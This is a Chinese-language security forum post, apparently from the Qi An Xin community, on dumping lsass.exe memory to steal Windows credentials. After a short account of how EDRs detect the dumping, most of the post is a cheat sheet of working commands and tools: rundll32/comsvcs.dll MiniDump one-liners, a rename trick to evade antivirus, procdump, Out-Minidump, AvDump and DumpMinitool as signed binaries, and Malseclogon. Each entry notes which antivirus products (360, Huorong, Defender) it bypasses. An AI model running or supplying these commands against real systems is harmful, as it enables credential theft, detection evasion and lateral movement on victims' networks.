前言凭证转储是攻击者用来破坏基础设施的最常用技术之一。它允许窃取敏感的凭证信息,并使攻击者能够在目标环境中进一步横向移动负责此操作的进程是lsass.exe(本地安全…
0x00 前言
凭证转储是攻击者用来破坏基础设施的最常用技术之一。它允许窃取敏感的凭证信息,并使攻击者能够在目标环境中进一步横向移动
负责此操作的进程是lsass.exe(本地安全机构子系统服务),我们需要转储lsass 进程的内存
都是一些师傅们提到的,我是一个脚本小子,小结一下,希望可以帮到各位师傅!
0x01 各大杀软的特点
0x02 Windows Hasah组成
Windows系统下的hash密码格式为:用户名称:RID:LM-HASH值:NT-HASH值,例如:
Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC:::
解析:
用户名称为:Administrator
RID为:500
LM-HASH值为:C8825DB10F2590EAAAD3B435B51404EE
NTLM-HASH值为:683020925C5D8569C23AA724774CE6CC
0x03 整体流程
1、通过使用访问PROCESS_QUERY_INFORMATION
和PROCESS_VM_READ
的OpenProcess/NtOpenProcess
调用打开lsass PID的进程句柄
OpenProcess:https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess)
2、使用MiniDumpWriteDump
读取 lsass 的所有进程地址空间,并将其保存到磁盘上的文件中
注:MiniDumpWriteDump
严重依赖于NtReadVirtualMemory
系统调用的使用,该系统调用允许它读取远程进程的内存
参考:
https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-ntopenprocess
0x04 两个常用会被检测的点
- 第一个检测点:
通常发生在OpenProcess
/ NtOpenProcess
的使用上。Windows 内核允许我们的驱动程序为线程、进程和桌面句柄操作注册**回调例程列表。**这可以通过ObRegisterCallbacks
来实现
注册新回调需要两个结构:OB_CALLBACK_REGISTRATION
和OB_OPERATION_REGISTRATION
参考:
https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-obregistercallbacks
https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_ob_callback_registration
https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_ob_operation_registration
注:OB_OPERATION_REGISTRATION
结构允许指定参数组合以直接从内核 监视任何新创建/重复的进程句柄。
- 第二个检测点:
通常发生在NtReadVirtualMemory
的使用上,ReadProcessMemory
也在内部使用
参考:
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-readprocessmemory
最常用的方法是Inline Hooking来拦截针对 lsass 进程的NtReadVirtualMemory
调用。
注:这种方法的问题在于监控发生在进程本身的同一环级别,因此直接系统调用或unhooking
等技术很容易绕过这种检测。
参考:
unhooking:https://0x00sec.org/t/defeating-userland-hooks-ft-bitdefender/12496
更好的方法是使用ETW
直接从内核接收有关特定函数调用的通知。例如,每当调用NtReadVirtualMemory
时,内核函数EtwTiLogReadWriteVm
将用于跟踪使用情况并将事件发送回来。现在大部分 EDR 都采用这种方式。
0x05 Bypass思路小结
方法一:规避 WinDefender ATP 凭证盗窃
简要概述:创建进程的快照,以便使用快照句柄执行间接内存读取。然后在 MiniDumpWriteDump 调用中使用快照句柄,而不是直接使用目标进程句柄。
参考:https://www.matteomalvica.com/blog/2019/12/02/win-defender-atp-cred-bypass/
方法二:使用句柄复制 AV
简要概述:重用已打开的 lsass 进程句柄,从而避免直接在 lsass 上调用 OpenProcess。
参考:https://skelsec.medium.com/duping-av-with-handles-537ef985eb03
方法三:使用 MirrorDump 将 LSASS 转储到内存中未检测到
简要概述:加载一个任意 LSA 插件,该插件执行从 lsass 进程到转储进程的 lsass进程句柄的复制。所以转储进程有一个随时可用的进程句柄来 lsass 而不调用 OpenProcess。
参考:https://www.pentestpartners.com/security-blog/dumping-lsass-in-memory-undetected-using-mirrordump/
0x06 注意
mimikatz 执行
sekurlsa::minidump
lsass 的dmp文件用不用是标准格式的dmp文件
其实只要拿回来的内存区域是正确的 就可以
0x07 命令执行
注:要去使用powershell,默认的cmd没有sedebug权限
rundll32.exe C:\Windows\System32\comsvcs.dll,MiniDump (Get-Process lsass).Id Test.dmp full;Wait-Process -Id (Get-Process rundll32).id
for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump ^%B lsass.dmp full
powershell "rundll32 C:\windows\System32\comsvcs.dll, MiniDump 520 lsass.dmp full"
0x08 工具分享
微软商店ProcDump
已失效
我们首先尝试使用微软商店工具 ProcDump
绕过杀软,它拥有微软签名
因为是微软自己的工具,所以看看他是不是能获取系统和杀软的信任
项目地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
procdump.exe -accepteula -ma lsass.exe lsass.dmp
SQLDumper.exe
已失效,和ProcDump一样,拥有微软签名
comsvcs.dll
comsvcs.dll,它是系统自带的
会被360、defender拦截,Bypass 火绒
在原理上都是使用API MiniDumpWriteDump
,通过comsvcs.dll的导出函数MiniDump实现dump内存。
BOOL MiniDumpWriteDump(
[in] HANDLEhProcess,
[in] DWORD ProcessId,
[in] HANDLEhFile,
[in] MINIDUMP_TYPE DumpType,
[in] PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,
[in] PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
[in] PMINIDUMP_CALLBACK_INFORMATIONCallbackParam
);
注:
我们要考虑权限问题,在dump指定进程内存文件时,需要开启SeDebugPrivilege
权限。
管理员权限的cmd下,默认支持SeDebugPrivilege
权限,但是状态为Disabled禁用状态。
管理员权限的powershell下,默认支持SeDebugPrivilege
权限,并且状态为Enabled
可以通过powershell执行rundll32
的命令实现
PS C:\WINDOWS\system32> tasklist | findstr lsass.exe
lsass.exe 1084 Services 0 27,564 K
命令格式:
rundll32.exe comsvcs.dll MiniDump <lsass PID> <out path> full
直接利用发现会被拦截:
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 1084 lsass.dmp full
简单的绕过思路:
copy一下comsvcs.dll
并命名为随意名字,例如matrix.dll
copy C:\windows\System32\comsvcs.dll matrix.dll
rundll32.exe matrix.dll, MiniDump 1084 lsass.dmp full
createdump.exe
已失效
createdump.exe
它是随着.NET5出现的,拥有微软签名
PowerSploit 中的Out-MiniDump.ps1
脚本
我们可以选择创建进程的完整内存转储。
会被defender拦截,Bypass 火绒、360
导入
Import-Module .\Out-Minidump.ps1
执行
Get-Process lsass | Out-Minidump
hashdump脚本
注:cmd或者双击 hashdumpX64.exe
只会生成一个0kb的lsass.dmp,需要通过Powershell执行
mimidogz(ps版mimikatz)
已失效
项目地址:https://github.com/fir3d0g/mimidogz
下载后在目录中执行:
Import-Module .\Invoke-Mimidogz.ps1
invoke-mimidogz
./DumpMinitool.exe 1 'dump6.txt' 2 660 3 Full
Dump minitool: Started with arguments 1 dump6.txt 2 660 3 Full
Output file: 'dump6.txt'
Process id: 660
Dump type: Full
Dumped process.
AvDump.exe
Bypass火绒
AvDump.exe
是Avast
杀毒软件中自带的一个程序,可用于dump lsass
默认路径
C:\Program Files\Avast Software\Avast
它带有Avast杀软数字签名
AvDump.exe --pid 1060 --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file lsass.dmp
DumpMinitool.exe
Bypass,360、火绒、defender
这个是在推特上大哥分享的LOLBIN
路径
C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\Extensions\TestPlatform\Extensions
DumpMinitool.x86.exe --file 1.txt --processId 1060 --dumpType Full
0x09 项目推荐
https://github.com/snovvcrash/MirrorDump
https://github.com/snovvcrash/MiniDump
https://github.com/deepinstinct/LsassSilentProcessExit
国外:https://github.com/b4rtik/ATPMiniDump
https://github.com/post-cyberlabs/Offensive_tools/tree/main/PostDump
Bypass360和火绒、defender不行
https://github.com/Redamancy404/MalSeclogon
使用命令:Malseclogon.exe -p [PID] -d 1 -o C:\Users\1255\Desktop\test\1.dmp
需要管理员权限,Bypass,360、火绒、defender
- 本文作者: 略略略
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1514
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!